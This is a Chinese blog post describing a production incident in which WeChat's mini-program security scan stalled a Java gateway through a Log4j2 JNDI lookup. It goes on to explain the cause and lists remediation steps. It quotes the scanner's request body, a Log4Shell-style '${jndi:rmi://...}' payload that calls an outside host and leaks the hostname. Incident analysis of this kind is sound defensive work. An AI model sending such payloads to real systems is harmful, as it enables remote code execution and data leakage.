一、问题

近期生产在提交了微信小程序审核后(后面会讲到),总会出现一些生产告警,而且持续时间较长。我们查看一些工具和系统相关的,发现把我们的 gateway 差不多打死了。 有一些现象。

  1. 网关有很多接口处理慢。
  2. 网关健康检查不通过,发生重启。

前面我们提到是微信小程序审核后,为什么我们觉得是和这个相关,因为我们在相关的时间段的 Nginx 请求日志种的 agent 字段看到了 Tencent Security Team, more information: https://developers.weixin.qq.com/community/minihome/doc/0008ea401c89c02cff2d1345051001 。我们可以看到小程序提交审核后平台将对提审的小程序进行安全检测. 我们也找到对应的小程序负责人询问,是当天那个时间段前10分钟左右有提交小程序审核。 而且这个小程序也是包含了这些扫描接口的。

我们在想是业务场景触发的问题与这个扫描凑巧在一个时间段吗? 因为我们认为这个检查频率不至于打垮我们的服务。我们决定在一个业务闲时,也就是低峰期的时候检测一次(重新提交一次小程序提审)。 我们在提交完之后发现,扫描开始之后,我们的网关还是支撑不住了。频繁的超时和健康检查失败。 网关服务有节点发生了重启。 我们笃定跟微信的扫描是有关了。

二、解析过程

基本问题解析

我们在第二次扫描的时候,也做了一些准备。

  1. dump jvm 的内存。
  2. dump java 的线程栈。
  3. 关注 Nginxgateway 的日志。

我们 dump 线程栈发现了一些内容,但是我们没有引起注意。

内存 dump 的话,我们发下并没有占用太多内存,内存使用正常。

我们最后在 gateway 发现了一些日志。

整个请求耗时50多s。

我们看到 gateway 打出这个请求的请求体是

{
"pageNum": "${jndi:rmi://9.4.131.68:1099/bypass8cc3241fe66af8c6a1e82d9964e059be-/-${hostName}}",
"module": 1,
"pageSize": 20
}

这个 pageNum 的值看着就像注入的。然后我拿着这个值去搜索。

发现可能跟 log4j2 有关, 询问开发目前我们使用的是 2.13.1

log4j2漏洞公告中,我们发现 受影响的版本是 2.0-beta7 =< Apache Log4j 2.x < 2.17.0(2.3.2 和 2.12.4 版本不受影响)

该漏洞出现的时间是在 2021-12-29, 漏洞的详情

Apache Log4j2 是一个基于Java的开源日志记录框架,该框架重写了Log4j框架,是其前身Log4j 1.x 的重写升级版,并且引入了大量丰富的特性,使用非常的广泛。该框架被大量用于业务系统开发,用来记录日志信息。

据官方描述,拥有修改日志配置文件权限的攻击者,可以构造恶意的配置将 JDBC Appender 与引用 JNDI URI 的数据源一起使用,从而可通过该 JNDI URI 远程执行任意代码。

由于该漏洞要求攻击者拥有修改配置文件权限(通常需借助其他漏洞才可实现),非默认配置存在的问题,漏洞成功利用难度较大。

log4j2 漏洞相关源码解析

log4j2 在支持日志打印的时候,支持了十几种旁路策略,其中有一个就是jndilog4jjndi 实现远程调用并将结果进行日志打印,底层采用了socket 进行连接,但是没有设置超时时间,当日志中有多个${导致循环调用多次。所以上面日志打印会重复2次 jndi 的操作,又因为我们日志打印配置了consolerollingFile。所以会打印四次日志。

gateway采用 Netty 作为底层容器,采用了Reactor模式,有一个事件循环组负责监听事件,事件到达后会丢给另一个事件循环组去处理读写,事件循环组内有多个事件循环器,每个事件循环器由一个线程去处理业务读写,因此打印上面日志会阻塞住其中一个处理线程。从dump 出来的单个文件看是只有一个处理线程被阻塞了。而当进行心跳健康判断的时候,有一定几率会被分配给阻塞的线程,因此会放到队列中一直等待线程处理,进而超时了 把 gateway网关重启了;

四、问题解决办法

参考文档: https://logging.apache.org/log4j/2.x/security.html

建议解决办法

  1. 升级版本。

    Apache Log4j 2.x >= 2.3.2 (Java 6)
    Apache Log4j 2.x >= 2.12.4 (Java 7)
    Apache Log4j 2.x >= 2.17.1 (Java 8 及更新版)

临时解决版本

  1. 删除 JndiLookup.class

    在 2.16.0 以外的任何版本中,您可以JndiLookup从类路径中删除该类:zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

  2. 配置环境变量 LOG4J_FORMAT_MSG_NO_LOOKUPStrue (处理场景有限)

    java opts 配置为 -Dlog4j2.formatMsgNoLookups=true (处理场景有限)

解决后测试

配置完成之后

前者处理为56秒,后者需要的时间为354ms. 是正常的响应时间。

一次 Java log4j2 漏洞导致的生产问题的更多相关文章

  1. Java反序列化漏洞通用利用分析

    原文:http://blog.chaitin.com/2015-11-11_java_unserialize_rce/ 博主也是JAVA的,也研究安全,所以认为这个漏洞非常严重.长亭科技分析的非常细致 ...

  2. Java反序列化漏洞分析

    相关学习资料 http://www.freebuf.com/vuls/90840.html https://security.tencent.com/index.php/blog/msg/97 htt ...

  3. java反序列化漏洞原理研习

    零.Java反序列化漏洞 java的安全问题首屈一指的就是反序列化漏洞,可以执行命令啊,甚至直接getshell,所以趁着这个假期好好研究一下java的反序列化漏洞.另外呢,组里多位大佬对反序列化漏洞 ...

  4. Lib之过?Java反序列化漏洞通用利用分析

    转http://blog.chaitin.com/ 1 背景 2 Java反序列化漏洞简介 3 利用Apache Commons Collections实现远程代码执行 4 漏洞利用实例 4.1 利用 ...

  5. 通过JBoss反序列化(CVE-2017-12149)浅谈Java反序列化漏洞

    前段时间学校学习J2EE,用到了jboss,顺便看了下jboss的反序列化,再浅谈下反序列化漏洞. Java序列化,简而言之就是把java对象转化为字节序列的过程.而反序列话则是再把字节序列恢复为ja ...

  6. 学习笔记 | java反序列化漏洞分析

    java反序列化漏洞是与java相关的漏洞中最常见的一种,也是网络安全工作者关注的重点.在cve中搜索关键字serialized共有174条记录,其中83条与java有关:搜索deserialized ...

  7. Java反序列化漏洞原理解析(案例未完善后续补充)

    序列化与反序列化 序列化用途:方便于对象在网络中的传输和存储 java的反序列化 序列化就是将对象转换为流,利于储存和传输的格式 反序列化与序列化相反,将流转换为对象 例如:json序列化.XML序列 ...

  8. Java反序列化漏洞总结

    本文首发自https://www.secpulse.com/archives/95012.html,转载请注明出处. 前言 什么是序列化和反序列化 Java 提供了一种对象序列化的机制,该机制中,一个 ...

  9. Java反序列化漏洞从入门到深入(转载)

    前言 学习本系列文章需要的Java基础: 了解Java基础语法及结构(菜鸟教程) 了解Java面向对象编程思想(快速理解请上知乎读故事,深入钻研建议买本<疯狂Java讲义>另外有一个刘意老 ...

随机推荐

  1. 【建议收藏】Mac VMWare NAT模式安装 CentOS 7-操作教程

    学习大数据离不开 Linux 系统,网络上大部分文章都是在 Windows 系统下使用 VMWare Workstation 安装 CentOS ,并使用 NAT 模式配置网络.本文基于 Mac OS ...

  2. Word 常识备忘录

    一句科普 名词解释 左右页边距 正文到纸左右两边之间的间距. 分页符 分页符是分页的一种符号,上一页结束以及下一页开始的位置. 分栏符 分栏的页面使用分栏符可以使一列分栏的段落排列到另一栏. 邮件合并 ...

  3. [ARC119E] Pancakes (二维偏序,分类讨论)

    题面 一个长为 N N N 的序列 S S S ,最多翻转序列中一个区间,最小化 ∑ i = 2 N ∣ S i − S i − 1 ∣ \sum_{i=2}^{N}|S_i-S_{i-1}| i=2 ...

  4. 2-2 selenium IDE自动化实战

    Selenium IDE 自动化实战 任务1: 自动在百度搜索"我要自学网" 然后在搜索结果页面点击进入自学网主页 任务2 实现自学网自动登录个人账号 Test2017 12345 ...

  5. Java开发学习(二十七)----SpringMVC之Rest风格解析及快速开发

    一.REST简介 REST(Representational State Transfer),表现形式状态转换,它是一种软件架构风格 当我们想表示一个网络资源的时候,可以使用两种方式: 传统风格资源描 ...

  6. 几款优秀的点播、RTSP/RTMP直播播放器介绍

    1.ijkplayer 项目地址: https://github.com/Bilibili/ijkplayer 介绍:Ijkplayer 是Bilibili发布的基于 FFplay 的轻量级 Andr ...

  7. 从 Hadoop 到云原生, 大数据平台如何做存算分离

    Hadoop 的诞生改变了企业对数据的存储.处理和分析的过程,加速了大数据的发展,受到广泛的应用,给整个行业带来了变革意义的改变:随着云计算时代的到来, 存算分离的架构受到青睐,企业开开始对 Hado ...

  8. PostgreSQL逻辑复制解密

    在数字化时代的今天,我们都认同数据会创造价值.为了最大化数据的价值,我们不停的建立着数据迁移的管道,从同构到异构,从关系型到非关系型,从云下到云上,从数仓到数据湖,试图在各种场景挖掘数据的价值.而在这 ...

  9. 【gRPC】C++异步服务端优化版,多服务接口样例

    官方的C++异步服务端API样例可读性并不好,理解起来非常的费劲,各种状态机也并不明了,整个运行过程也容易读不懂,因此此处参考网上的博客进行了重写,以求顺利读懂. C++异步服务端实例,详细注释版 g ...

  10. 彻底掌握Makefile(二)

    彻底掌握Makefile(二) 前言 在前面的文章彻底掌握Makefile(一)当中,我们简要的介绍了一些常见的makefile使用方法,在本篇文章当中我们将继续介绍一些makefile当中的常见用法 ...